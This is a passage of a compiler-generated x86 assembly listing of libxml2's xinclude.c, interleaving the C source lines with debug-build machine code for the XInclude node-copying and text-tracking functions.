cmp edx, DWORD PTR _lastLevel$[ebp]
jne SHORT $LN27@xmlXInclud
; 991 : xmlAddNextSibling(last, tmp);
mov eax, DWORD PTR _tmp$[ebp]
push eax
mov ecx, DWORD PTR _last$[ebp]
push ecx
call _xmlAddNextSibling
add esp, 8
jmp SHORT $LN28@xmlXInclud
$LN27@xmlXInclud:
; 992 : else
; 993 : xmlAddChild(last, tmp);
mov edx, DWORD PTR _tmp$[ebp]
push edx
mov eax, DWORD PTR _last$[ebp]
push eax
call _xmlAddChild
add esp, 8
$LN28@xmlXInclud:
; 994 : return(list);
mov eax, DWORD PTR _list$[ebp]
jmp $LN1@xmlXInclud
; 995 : } else { /* ending node not a text node */
jmp $LN21@xmlXInclud
$LN20@xmlXInclud:
; 996 : endLevel = level; /* remember the level of the end node */
mov ecx, DWORD PTR _level$[ebp]
mov DWORD PTR _endLevel$[ebp], ecx
; 997 : endFlag = 1;
mov DWORD PTR _endFlag$[ebp], 1
; 998 : /* last node - need to take care of properties + namespaces */
; 999 : tmp = xmlDocCopyNode(cur, target, 2);
push 2
mov edx, DWORD PTR _target$[ebp]
push edx
mov eax, DWORD PTR _cur$[ebp]
push eax
call _xmlDocCopyNode
add esp, 12 ; 0000000cH
mov DWORD PTR _tmp$[ebp], eax
; 1000 : if (list == NULL) {
cmp DWORD PTR _list$[ebp], 0
jne SHORT $LN29@xmlXInclud
; 1001 : list = tmp;
mov ecx, DWORD PTR _tmp$[ebp]
mov DWORD PTR _list$[ebp], ecx
; 1002 : listParent = cur->parent;
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+20]
mov DWORD PTR _listParent$[ebp], eax
; 1003 : } else {
jmp SHORT $LN30@xmlXInclud
$LN29@xmlXInclud:
; 1004 : if (level == lastLevel)
mov ecx, DWORD PTR _level$[ebp]
cmp ecx, DWORD PTR _lastLevel$[ebp]
jne SHORT $LN31@xmlXInclud
; 1005 : xmlAddNextSibling(last, tmp);
mov edx, DWORD PTR _tmp$[ebp]
push edx
mov eax, DWORD PTR _last$[ebp]
push eax
call _xmlAddNextSibling
add esp, 8
jmp SHORT $LN30@xmlXInclud
$LN31@xmlXInclud:
; 1006 : else {
; 1007 : xmlAddChild(last, tmp);
mov ecx, DWORD PTR _tmp$[ebp]
push ecx
mov edx, DWORD PTR _last$[ebp]
push edx
call _xmlAddChild
add esp, 8
; 1008 : lastLevel = level;
mov eax, DWORD PTR _level$[ebp]
mov DWORD PTR _lastLevel$[ebp], eax
$LN30@xmlXInclud:
; 1009 : }
; 1010 : }
; 1011 : last = tmp;
mov ecx, DWORD PTR _tmp$[ebp]
mov DWORD PTR _last$[ebp], ecx
; 1012 :
; 1013 : if (index2 > 1) {
cmp DWORD PTR _index2$[ebp], 1
jle SHORT $LN33@xmlXInclud
; 1014 : end = xmlXIncludeGetNthChild(cur, index2 - 1);
mov edx, DWORD PTR _index2$[ebp]
sub edx, 1
push edx
mov eax, DWORD PTR _cur$[ebp]
push eax
call _xmlXIncludeGetNthChild
add esp, 8
mov DWORD PTR _end$[ebp], eax
; 1015 : index2 = 0;
mov DWORD PTR _index2$[ebp], 0
$LN33@xmlXInclud:
; 1016 : }
; 1017 : if ((cur == start) && (index1 > 1)) {
mov ecx, DWORD PTR _cur$[ebp]
cmp ecx, DWORD PTR _start$[ebp]
jne SHORT $LN34@xmlXInclud
cmp DWORD PTR _index1$[ebp], 1
jle SHORT $LN34@xmlXInclud
; 1018 : cur = xmlXIncludeGetNthChild(cur, index1 - 1);
mov edx, DWORD PTR _index1$[ebp]
sub edx, 1
push edx
mov eax, DWORD PTR _cur$[ebp]
push eax
call _xmlXIncludeGetNthChild
add esp, 8
mov DWORD PTR _cur$[ebp], eax
; 1019 : index1 = 0;
mov DWORD PTR _index1$[ebp], 0
; 1020 : } else {
jmp SHORT $LN35@xmlXInclud
$LN34@xmlXInclud:
; 1021 : cur = cur->children;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+12]
mov DWORD PTR _cur$[ebp], edx
$LN35@xmlXInclud:
; 1022 : }
; 1023 : level++; /* increment level to show change */
mov eax, DWORD PTR _level$[ebp]
add eax, 1
mov DWORD PTR _level$[ebp], eax
; 1024 : /*
; 1025 : * Now gather the remaining nodes from cur to end
; 1026 : */
; 1027 : continue; /* while */
jmp $LN2@xmlXInclud
$LN21@xmlXInclud:
; 1028 : }
jmp $LN19@xmlXInclud
$LN18@xmlXInclud:
; 1029 : } else if (cur == start) { /* Not at the end, are we at start? */
mov ecx, DWORD PTR _cur$[ebp]
cmp ecx, DWORD PTR _start$[ebp]
jne $LN36@xmlXInclud
; 1030 : if ((cur->type == XML_TEXT_NODE) ||
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 3
je SHORT $LN40@xmlXInclud
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 4
jne SHORT $LN38@xmlXInclud
$LN40@xmlXInclud:
; 1031 : (cur->type == XML_CDATA_SECTION_NODE)) {
; 1032 : const xmlChar *content = cur->content;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+40]
mov DWORD PTR _content$1[ebp], edx
; 1033 :
; 1034 : if (content == NULL) {
cmp DWORD PTR _content$1[ebp], 0
jne SHORT $LN41@xmlXInclud
; 1035 : tmp = xmlNewTextLen(NULL, 0);
push 0
push 0
call _xmlNewTextLen
add esp, 8
mov DWORD PTR _tmp$[ebp], eax
; 1036 : } else {
jmp SHORT $LN42@xmlXInclud
$LN41@xmlXInclud:
; 1037 : if (index1 > 1) {
cmp DWORD PTR _index1$[ebp], 1
jle SHORT $LN43@xmlXInclud
; 1038 : content += (index1 - 1);
mov eax, DWORD PTR _index1$[ebp]
mov ecx, DWORD PTR _content$1[ebp]
lea edx, DWORD PTR [ecx+eax-1]
mov DWORD PTR _content$1[ebp], edx
; 1039 : index1 = 0;
mov DWORD PTR _index1$[ebp], 0
$LN43@xmlXInclud:
; 1040 : }
; 1041 : tmp = xmlNewText(content);
mov eax, DWORD PTR _content$1[ebp]
push eax
call _xmlNewText
add esp, 4
mov DWORD PTR _tmp$[ebp], eax
$LN42@xmlXInclud:
; 1042 : }
; 1043 : last = list = tmp;
mov ecx, DWORD PTR _tmp$[ebp]
mov DWORD PTR _list$[ebp], ecx
mov edx, DWORD PTR _list$[ebp]
mov DWORD PTR _last$[ebp], edx
; 1044 : listParent = cur->parent;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+20]
mov DWORD PTR _listParent$[ebp], ecx
; 1045 : } else { /* Not text node */
jmp SHORT $LN39@xmlXInclud
$LN38@xmlXInclud:
; 1046 : /*
; 1047 : * start of the range - need to take care of
; 1048 : * properties and namespaces
; 1049 : */
; 1050 : tmp = xmlDocCopyNode(cur, target, 2);
push 2
mov edx, DWORD PTR _target$[ebp]
push edx
mov eax, DWORD PTR _cur$[ebp]
push eax
call _xmlDocCopyNode
add esp, 12 ; 0000000cH
mov DWORD PTR _tmp$[ebp], eax
; 1051 : list = last = tmp;
mov ecx, DWORD PTR _tmp$[ebp]
mov DWORD PTR _last$[ebp], ecx
mov edx, DWORD PTR _last$[ebp]
mov DWORD PTR _list$[ebp], edx
; 1052 : listParent = cur->parent;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+20]
mov DWORD PTR _listParent$[ebp], ecx
; 1053 : if (index1 > 1) { /* Do we need to position? */
cmp DWORD PTR _index1$[ebp], 1
jle SHORT $LN39@xmlXInclud
; 1054 : cur = xmlXIncludeGetNthChild(cur, index1 - 1);
mov edx, DWORD PTR _index1$[ebp]
sub edx, 1
push edx
mov eax, DWORD PTR _cur$[ebp]
push eax
call _xmlXIncludeGetNthChild
add esp, 8
mov DWORD PTR _cur$[ebp], eax
; 1055 : level = lastLevel = 1;
mov DWORD PTR _lastLevel$[ebp], 1
mov ecx, DWORD PTR _lastLevel$[ebp]
mov DWORD PTR _level$[ebp], ecx
; 1056 : index1 = 0;
mov DWORD PTR _index1$[ebp], 0
; 1057 : /*
; 1058 : * Now gather the remaining nodes from cur to end
; 1059 : */
; 1060 : continue; /* while */
jmp $LN2@xmlXInclud
$LN39@xmlXInclud:
; 1061 : }
; 1062 : }
; 1063 : } else {
jmp $LN19@xmlXInclud
$LN36@xmlXInclud:
; 1064 : tmp = NULL;
mov DWORD PTR _tmp$[ebp], 0
; 1065 : switch (cur->type) {
mov edx, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edx+4]
mov DWORD PTR tv204[ebp], eax
mov ecx, DWORD PTR tv204[ebp]
sub ecx, 2
mov DWORD PTR tv204[ebp], ecx
cmp DWORD PTR tv204[ebp], 18 ; 00000012H
ja SHORT $LN49@xmlXInclud
mov edx, DWORD PTR tv204[ebp]
movzx eax, BYTE PTR $LN57@xmlXInclud[edx]
jmp DWORD PTR $LN61@xmlXInclud[eax*4]
$LN45@xmlXInclud:
; 1066 : case XML_DTD_NODE:
; 1067 : case XML_ELEMENT_DECL:
; 1068 : case XML_ATTRIBUTE_DECL:
; 1069 : case XML_ENTITY_NODE:
; 1070 : /* Do not copy DTD informations */
; 1071 : break;
jmp SHORT $LN8@xmlXInclud
$LN46@xmlXInclud:
; 1072 : case XML_ENTITY_DECL:
; 1073 : /* handle crossing entities -> stack needed */
; 1074 : break;
jmp SHORT $LN8@xmlXInclud
$LN47@xmlXInclud:
; 1075 : case XML_XINCLUDE_START:
; 1076 : case XML_XINCLUDE_END:
; 1077 : /* don't consider it part of the tree content */
; 1078 : break;
jmp SHORT $LN8@xmlXInclud
$LN48@xmlXInclud:
; 1079 : case XML_ATTRIBUTE_NODE:
; 1080 : /* Humm, should not happen ! */
; 1081 : break;
jmp SHORT $LN8@xmlXInclud
$LN49@xmlXInclud:
; 1082 : default:
; 1083 : /*
; 1084 : * Middle of the range - need to take care of
; 1085 : * properties and namespaces
; 1086 : */
; 1087 : tmp = xmlDocCopyNode(cur, target, 2);
push 2
mov ecx, DWORD PTR _target$[ebp]
push ecx
mov edx, DWORD PTR _cur$[ebp]
push edx
call _xmlDocCopyNode
add esp, 12 ; 0000000cH
mov DWORD PTR _tmp$[ebp], eax
$LN8@xmlXInclud:
; 1088 : break;
; 1089 : }
; 1090 : if (tmp != NULL) {
cmp DWORD PTR _tmp$[ebp], 0
je SHORT $LN19@xmlXInclud
; 1091 : if (level == lastLevel)
mov eax, DWORD PTR _level$[ebp]
cmp eax, DWORD PTR _lastLevel$[ebp]
jne SHORT $LN51@xmlXInclud
; 1092 : xmlAddNextSibling(last, tmp);
mov ecx, DWORD PTR _tmp$[ebp]
push ecx
mov edx, DWORD PTR _last$[ebp]
push edx
call _xmlAddNextSibling
add esp, 8
jmp SHORT $LN52@xmlXInclud
$LN51@xmlXInclud:
; 1093 : else {
; 1094 : xmlAddChild(last, tmp);
mov eax, DWORD PTR _tmp$[ebp]
push eax
mov ecx, DWORD PTR _last$[ebp]
push ecx
call _xmlAddChild
add esp, 8
; 1095 : lastLevel = level;
mov edx, DWORD PTR _level$[ebp]
mov DWORD PTR _lastLevel$[ebp], edx
$LN52@xmlXInclud:
; 1096 : }
; 1097 : last = tmp;
mov eax, DWORD PTR _tmp$[ebp]
mov DWORD PTR _last$[ebp], eax
$LN19@xmlXInclud:
; 1098 : }
; 1099 : }
; 1100 : /*
; 1101 : * Skip to next node in document order
; 1102 : */
; 1103 : cur = xmlXPtrAdvanceNode(cur, &level);
lea ecx, DWORD PTR _level$[ebp]
push ecx
mov edx, DWORD PTR _cur$[ebp]
push edx
call _xmlXPtrAdvanceNode
add esp, 8
mov DWORD PTR _cur$[ebp], eax
; 1104 : if (endFlag && (level >= endLevel))
cmp DWORD PTR _endFlag$[ebp], 0
je SHORT $LN53@xmlXInclud
mov eax, DWORD PTR _level$[ebp]
cmp eax, DWORD PTR _endLevel$[ebp]
jl SHORT $LN53@xmlXInclud
; 1105 : break;
jmp SHORT $LN3@xmlXInclud
$LN53@xmlXInclud:
; 1106 : }
jmp $LN2@xmlXInclud
$LN3@xmlXInclud:
; 1107 : return(list);
mov eax, DWORD PTR _list$[ebp]
$LN1@xmlXInclud:
; 1108 : }
push edx
mov ecx, ebp
push eax
lea edx, DWORD PTR $LN60@xmlXInclud
call @_RTC_CheckStackVars@8
pop eax
pop edx
pop edi
add esp, 80 ; 00000050H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
npad 1
$LN60@xmlXInclud:
DD 1
DD $LN59@xmlXInclud
$LN59@xmlXInclud:
DD -48 ; ffffffd0H
DD 4
DD $LN58@xmlXInclud
$LN58@xmlXInclud:
DB 108 ; 0000006cH
DB 101 ; 00000065H
DB 118 ; 00000076H
DB 101 ; 00000065H
DB 108 ; 0000006cH
DB 0
npad 2
$LN61@xmlXInclud:
DD $LN48@xmlXInclud
DD $LN45@xmlXInclud
DD $LN46@xmlXInclud
DD $LN47@xmlXInclud
DD $LN49@xmlXInclud
$LN57@xmlXInclud:
DB 0
DB 4
DB 4
DB 4
DB 1
DB 4
DB 4
DB 4
DB 4
DB 4
DB 4
DB 4
DB 1
DB 1
DB 1
DB 2
DB 4
DB 3
DB 3
_xmlXIncludeCopyRange ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeGetNthChild
_TEXT SEGMENT
_i$ = -4 ; size = 4
_cur$ = 8 ; size = 4
_no$ = 12 ; size = 4
_xmlXIncludeGetNthChild PROC ; COMDAT
; 877 : xmlXIncludeGetNthChild(xmlNodePtr cur, int no) {
push ebp
mov ebp, esp
push ecx
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 878 : int i;
; 879 : if ((cur == NULL) || (cur->type == XML_NAMESPACE_DECL))
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN6@xmlXInclud
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 18 ; 00000012H
jne SHORT $LN5@xmlXInclud
$LN6@xmlXInclud:
; 880 : return(NULL);
xor eax, eax
jmp SHORT $LN1@xmlXInclud
$LN5@xmlXInclud:
; 881 : cur = cur->children;
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+12]
mov DWORD PTR _cur$[ebp], edx
; 882 : for (i = 0;i <= no;cur = cur->next) {
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN4@xmlXInclud
$LN2@xmlXInclud:
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+24]
mov DWORD PTR _cur$[ebp], ecx
$LN4@xmlXInclud:
mov edx, DWORD PTR _i$[ebp]
cmp edx, DWORD PTR _no$[ebp]
jg SHORT $LN3@xmlXInclud
; 883 : if (cur == NULL)
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN7@xmlXInclud
; 884 : return(cur);
mov eax, DWORD PTR _cur$[ebp]
jmp SHORT $LN1@xmlXInclud
$LN7@xmlXInclud:
; 885 : if ((cur->type == XML_ELEMENT_NODE) ||
; 886 : (cur->type == XML_DOCUMENT_NODE) ||
mov eax, DWORD PTR _cur$[ebp]
cmp DWORD PTR [eax+4], 1
je SHORT $LN9@xmlXInclud
mov ecx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [ecx+4], 9
je SHORT $LN9@xmlXInclud
mov edx, DWORD PTR _cur$[ebp]
cmp DWORD PTR [edx+4], 13 ; 0000000dH
jne SHORT $LN8@xmlXInclud
$LN9@xmlXInclud:
; 887 : (cur->type == XML_HTML_DOCUMENT_NODE)) {
; 888 : i++;
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
; 889 : if (i == no)
mov ecx, DWORD PTR _i$[ebp]
cmp ecx, DWORD PTR _no$[ebp]
jne SHORT $LN8@xmlXInclud
; 890 : break;
jmp SHORT $LN3@xmlXInclud
$LN8@xmlXInclud:
; 891 : }
; 892 : }
jmp SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 893 : return(cur);
mov eax, DWORD PTR _cur$[ebp]
$LN1@xmlXInclud:
; 894 : }
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeGetNthChild ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeCopyNode
_TEXT SEGMENT
_result$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_target$ = 12 ; size = 4
_source$ = 16 ; size = 4
_elem$ = 20 ; size = 4
_xmlXIncludeCopyNode PROC ; COMDAT
; 819 : xmlDocPtr source, xmlNodePtr elem) {
push ebp
mov ebp, esp
push ecx
mov DWORD PTR [ebp-4], -858993460 ; ccccccccH
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 820 : xmlNodePtr result = NULL;
mov DWORD PTR _result$[ebp], 0
; 821 :
; 822 : if ((ctxt == NULL) || (target == NULL) || (source == NULL) ||
cmp DWORD PTR _ctxt$[ebp], 0
je SHORT $LN3@xmlXInclud
cmp DWORD PTR _target$[ebp], 0
je SHORT $LN3@xmlXInclud
cmp DWORD PTR _source$[ebp], 0
je SHORT $LN3@xmlXInclud
cmp DWORD PTR _elem$[ebp], 0
jne SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 823 : (elem == NULL))
; 824 : return(NULL);
xor eax, eax
jmp SHORT $LN1@xmlXInclud
$LN2@xmlXInclud:
; 825 : if (elem->type == XML_DTD_NODE)
mov eax, DWORD PTR _elem$[ebp]
cmp DWORD PTR [eax+4], 14 ; 0000000eH
jne SHORT $LN4@xmlXInclud
; 826 : return(NULL);
xor eax, eax
jmp SHORT $LN1@xmlXInclud
$LN4@xmlXInclud:
; 827 : if (elem->type == XML_DOCUMENT_NODE)
mov ecx, DWORD PTR _elem$[ebp]
cmp DWORD PTR [ecx+4], 9
jne SHORT $LN5@xmlXInclud
; 828 : result = xmlXIncludeCopyNodeList(ctxt, target, source, elem->children);
mov edx, DWORD PTR _elem$[ebp]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _source$[ebp]
push ecx
mov edx, DWORD PTR _target$[ebp]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeCopyNodeList
add esp, 16 ; 00000010H
mov DWORD PTR _result$[ebp], eax
jmp SHORT $LN6@xmlXInclud
$LN5@xmlXInclud:
; 829 : else
; 830 : result = xmlDocCopyNode(elem, target, 1);
push 1
mov ecx, DWORD PTR _target$[ebp]
push ecx
mov edx, DWORD PTR _elem$[ebp]
push edx
call _xmlDocCopyNode
add esp, 12 ; 0000000cH
mov DWORD PTR _result$[ebp], eax
$LN6@xmlXInclud:
; 831 : return(result);
mov eax, DWORD PTR _result$[ebp]
$LN1@xmlXInclud:
; 832 : }
add esp, 4
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeCopyNode ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeCopyNodeList
_TEXT SEGMENT
_last$ = -16 ; size = 4
_result$ = -12 ; size = 4
_res$ = -8 ; size = 4
_cur$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_target$ = 12 ; size = 4
_source$ = 16 ; size = 4
_elem$ = 20 ; size = 4
_xmlXIncludeCopyNodeList PROC ; COMDAT
; 846 : xmlDocPtr source, xmlNodePtr elem) {
push ebp
mov ebp, esp
sub esp, 16 ; 00000010H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 847 : xmlNodePtr cur, res, result = NULL, last = NULL;
mov DWORD PTR _result$[ebp], 0
mov DWORD PTR _last$[ebp], 0
; 848 :
; 849 : if ((ctxt == NULL) || (target == NULL) || (source == NULL) ||
cmp DWORD PTR _ctxt$[ebp], 0
je SHORT $LN5@xmlXInclud
cmp DWORD PTR _target$[ebp], 0
je SHORT $LN5@xmlXInclud
cmp DWORD PTR _source$[ebp], 0
je SHORT $LN5@xmlXInclud
cmp DWORD PTR _elem$[ebp], 0
jne SHORT $LN4@xmlXInclud
$LN5@xmlXInclud:
; 850 : (elem == NULL))
; 851 : return(NULL);
xor eax, eax
jmp SHORT $LN1@xmlXInclud
$LN4@xmlXInclud:
; 852 : cur = elem;
mov eax, DWORD PTR _elem$[ebp]
mov DWORD PTR _cur$[ebp], eax
$LN2@xmlXInclud:
; 853 : while (cur != NULL) {
cmp DWORD PTR _cur$[ebp], 0
je SHORT $LN3@xmlXInclud
; 854 : res = xmlXIncludeCopyNode(ctxt, target, source, cur);
mov ecx, DWORD PTR _cur$[ebp]
push ecx
mov edx, DWORD PTR _source$[ebp]
push edx
mov eax, DWORD PTR _target$[ebp]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeCopyNode
add esp, 16 ; 00000010H
mov DWORD PTR _res$[ebp], eax
; 855 : if (res != NULL) {
cmp DWORD PTR _res$[ebp], 0
je SHORT $LN6@xmlXInclud
; 856 : if (result == NULL) {
cmp DWORD PTR _result$[ebp], 0
jne SHORT $LN7@xmlXInclud
; 857 : result = last = res;
mov edx, DWORD PTR _res$[ebp]
mov DWORD PTR _last$[ebp], edx
mov eax, DWORD PTR _last$[ebp]
mov DWORD PTR _result$[ebp], eax
; 858 : } else {
jmp SHORT $LN6@xmlXInclud
$LN7@xmlXInclud:
; 859 : last->next = res;
mov ecx, DWORD PTR _last$[ebp]
mov edx, DWORD PTR _res$[ebp]
mov DWORD PTR [ecx+24], edx
; 860 : res->prev = last;
mov eax, DWORD PTR _res$[ebp]
mov ecx, DWORD PTR _last$[ebp]
mov DWORD PTR [eax+28], ecx
; 861 : last = res;
mov edx, DWORD PTR _res$[ebp]
mov DWORD PTR _last$[ebp], edx
$LN6@xmlXInclud:
; 862 : }
; 863 : }
; 864 : cur = cur->next;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+24]
mov DWORD PTR _cur$[ebp], ecx
; 865 : }
jmp SHORT $LN2@xmlXInclud
$LN3@xmlXInclud:
; 866 : return(result);
mov eax, DWORD PTR _result$[ebp]
$LN1@xmlXInclud:
; 867 : }
add esp, 16 ; 00000010H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
_xmlXIncludeCopyNodeList ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeAddTxt
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_txt$ = 12 ; size = 4
_url$ = 16 ; size = 4
_xmlXIncludeAddTxt PROC ; COMDAT
; 758 : xmlXIncludeAddTxt(xmlXIncludeCtxtPtr ctxt, xmlNodePtr txt, const xmlURL url) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 759 : #ifdef DEBUG_XINCLUDE
; 760 : xmlGenericError(xmlGenericErrorContext, "Adding text %s\n", url);
; 761 : #endif
; 762 : if (ctxt->txtMax == 0) {
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+24], 0
jne $LN2@xmlXInclud
; 763 : ctxt->txtMax = 4;
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+24], 4
; 764 : ctxt->txtTab = (xmlNodePtr *) xmlMalloc(ctxt->txtMax *
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+24]
shl eax, 2
mov esi, esp
push eax
call DWORD PTR _xmlMalloc
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+28], eax
; 765 : sizeof(ctxt->txtTab[0]));
; 766 : if (ctxt->txtTab == NULL) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+28], 0
jne SHORT $LN3@xmlXInclud
; 767 : xmlXIncludeErrMemory(ctxt, NULL, "processing text");
push OFFSET ??_C@_0BA@KMMAMGLP@processing?5text@
push 0
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 768 : return;
jmp $LN1@xmlXInclud
$LN3@xmlXInclud:
; 769 : }
; 770 : ctxt->txturlTab = (xmlURL *) xmlMalloc(ctxt->txtMax *
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+24]
shl edx, 2
mov esi, esp
push edx
call DWORD PTR _xmlMalloc
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+32], eax
; 771 : sizeof(ctxt->txturlTab[0]));
; 772 : if (ctxt->txturlTab == NULL) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+32], 0
jne SHORT $LN2@xmlXInclud
; 773 : xmlXIncludeErrMemory(ctxt, NULL, "processing text");
push OFFSET ??_C@_0BA@KMMAMGLP@processing?5text@
push 0
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 774 : return;
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 775 : }
; 776 : }
; 777 : if (ctxt->txtNr >= ctxt->txtMax) {
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [ecx+20]
cmp eax, DWORD PTR [edx+24]
jl $LN5@xmlXInclud
; 778 : ctxt->txtMax *= 2;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+24]
shl edx, 1
mov eax, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [eax+24], edx
; 779 : ctxt->txtTab = (xmlNodePtr *) xmlRealloc(ctxt->txtTab,
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+24]
shl edx, 2
mov esi, esp
push edx
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+28]
push ecx
call DWORD PTR _xmlRealloc
add esp, 8
cmp esi, esp
call __RTC_CheckEsp
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+28], eax
; 780 : ctxt->txtMax * sizeof(ctxt->txtTab[0]));
; 781 : if (ctxt->txtTab == NULL) {
mov eax, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [eax+28], 0
jne SHORT $LN6@xmlXInclud
; 782 : xmlXIncludeErrMemory(ctxt, NULL, "processing text");
push OFFSET ??_C@_0BA@KMMAMGLP@processing?5text@
push 0
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 783 : return;
jmp $LN1@xmlXInclud
$LN6@xmlXInclud:
; 784 : }
; 785 : ctxt->txturlTab = (xmlURL *) xmlRealloc(ctxt->txturlTab,
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+24]
shl eax, 2
mov esi, esp
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+32]
push edx
call DWORD PTR _xmlRealloc
add esp, 8
cmp esi, esp
call __RTC_CheckEsp
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [ecx+32], eax
; 786 : ctxt->txtMax * sizeof(ctxt->txturlTab[0]));
; 787 : if (ctxt->txturlTab == NULL) {
mov edx, DWORD PTR _ctxt$[ebp]
cmp DWORD PTR [edx+32], 0
jne SHORT $LN5@xmlXInclud
; 788 : xmlXIncludeErrMemory(ctxt, NULL, "processing text");
push OFFSET ??_C@_0BA@KMMAMGLP@processing?5text@
push 0
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErrMemory
add esp, 12 ; 0000000cH
; 789 : return;
jmp SHORT $LN1@xmlXInclud
$LN5@xmlXInclud:
; 790 : }
; 791 : }
; 792 : ctxt->txtTab[ctxt->txtNr] = txt;
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+20]
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+28]
mov eax, DWORD PTR _txt$[ebp]
mov DWORD PTR [ecx+edx*4], eax
; 793 : ctxt->txturlTab[ctxt->txtNr] = xmlStrdup(url);
mov ecx, DWORD PTR _url$[ebp]
push ecx
call _xmlStrdup
add esp, 4
mov edx, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [edx+20]
mov edx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [edx+32]
mov DWORD PTR [edx+ecx*4], eax
; 794 : ctxt->txtNr++;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+20]
add ecx, 1
mov edx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR [edx+20], ecx
$LN1@xmlXInclud:
; 795 : }
pop esi
cmp ebp, esp
call __RTC_CheckEsp
pop ebp
ret 0
_xmlXIncludeAddTxt ENDP
_TEXT ENDS
